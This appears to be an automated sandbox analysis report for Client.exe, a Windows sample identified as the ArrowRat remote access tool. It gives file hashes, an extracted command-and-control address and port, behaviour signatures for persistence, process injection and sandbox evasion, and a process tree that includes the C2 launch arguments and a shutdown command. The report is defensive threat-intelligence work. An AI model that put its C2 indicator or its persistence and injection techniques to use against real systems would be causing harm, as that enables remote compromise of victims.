Overview

overview

10

Static

static

10

Client.exe

windows7-x64

10

Client.exe

windows10-2004-x64

Analysis

  • max time kernel
    37s
  • max time network
    41s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250211-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250211-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-02-2025 19:28

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Errors

Reason
Machine shutdown
Report Analysis Logs

General

  • Target

    Client.exe

  • Size

    158KB

  • MD5

    0664ef4233864e722f5f0405d95d4383

  • SHA1

    0740cba3719bd0637d3a3888f0cbe588e05c9466

  • SHA256

    69676e5b1f323b61cb1847b46dbab99c649759ae90f38910e3de24e592990a56

  • SHA512

    db56f8da7e66f7022f71e74867249aa8c3bf9065f7a5c62762aafc2e713e9dac3905cae235cdec6ddd10386e8f107672450aa4d43e42190cd36d196f94b5c22c

  • SSDEEP

    3072:MbzrH+0OoCthfbEFtbcfjF45gjryKKqH6JY2doszEmQotEPPcfPUOO8Y:Mbzre0ODhTEPgnjuIJzo+PPcfPUB8

Score
10/10
arrowratclientdiscoverypersistencerat

Malware Config

Extracted

Family

arrowrat

Botnet

Client

C2

79.110.49.241:6969

Mutex

QZuBsJcIj

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • Arrowrat family
    arrowrat
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 35 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 41 IoCs
  • Suspicious use of FindShellTrayWindow 51 IoCs
  • Suspicious use of SendNotifyMessage 23 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Client.exe
    "C:\Users\Admin\AppData\Local\Temp\Client.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2248
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:2780
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 79.110.49.241 6969 QZuBsJcIj
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3660
      • C:\Windows\SysWOW64\shutdown.exe
        "C:\Windows\System32\shutdown.exe" /s /t 0
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:2488
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:2144
  • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
    "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:4108
  • C:\Windows\system32\LogonUI.exe
    "LogonUI.exe" /flags:0x4 /state0:0xa3965055 /state1:0x41c64e6d
    1⤵
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Suspicious use of SetWindowsHookEx
    PID:3920

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133840349511542376.txt
    Filesize

    75KB

    MD5

    a703ce3ed3d0ca916f02d90b30a131f0

    SHA1

    2b15783d66229ffda7a4d926a291e31132bbf030

    SHA256

    dd332f01250b4422a088b3ddf044349f030404a58101bf0d95fc42d5d12b71c4

    SHA512

    e3ea5cda0fc353a0627dfecabc59fb36aeb13b69b3fed25145d2d615ec5013b62d3956567767ff457868a077f73db5aa32120c8172da396b37fb99361da6b73d

    Download Submit

  • memory/2248-0-0x00007FF8EC123000-0x00007FF8EC125000-memory.dmp

    Filesize

    8KB

    Download

  • memory/2248-1-0x000002A93E7D0000-0x000002A93E7FE000-memory.dmp

    Filesize

    184KB

    Download

  • memory/2780-12-0x0000000002D40000-0x0000000002D41000-memory.dmp

    Filesize

    4KB

    Download

  • memory/3660-6-0x0000000005A50000-0x0000000005AB6000-memory.dmp

    Filesize

    408KB

    Download

  • memory/3660-5-0x0000000005B50000-0x00000000060F4000-memory.dmp

    Filesize

    5.6MB

    Download

  • memory/3660-4-0x00000000052D0000-0x000000000536C000-memory.dmp

    Filesize

    624KB

    Download

  • memory/3660-9-0x0000000006300000-0x0000000006350000-memory.dmp

    Filesize

    320KB

    Download

  • memory/3660-3-0x0000000005230000-0x00000000052C2000-memory.dmp

    Filesize

    584KB

    Download

  • memory/3660-2-0x0000000000400000-0x0000000000418000-memory.dmp

    Filesize

    96KB

    Download

  • memory/4108-18-0x0000020C13F00000-0x0000020C14000000-memory.dmp

    Filesize

    1024KB

    Download

  • memory/4108-16-0x0000020C13F00000-0x0000020C14000000-memory.dmp

    Filesize

    1024KB

    Download

  • memory/4108-42-0x0000021416620000-0x0000021416640000-memory.dmp

    Filesize

    128KB

    Download

  • memory/4108-31-0x0000021416220000-0x0000021416240000-memory.dmp

    Filesize

    128KB

    Download

  • memory/4108-21-0x0000021416260000-0x0000021416280000-memory.dmp

    Filesize

    128KB

    Download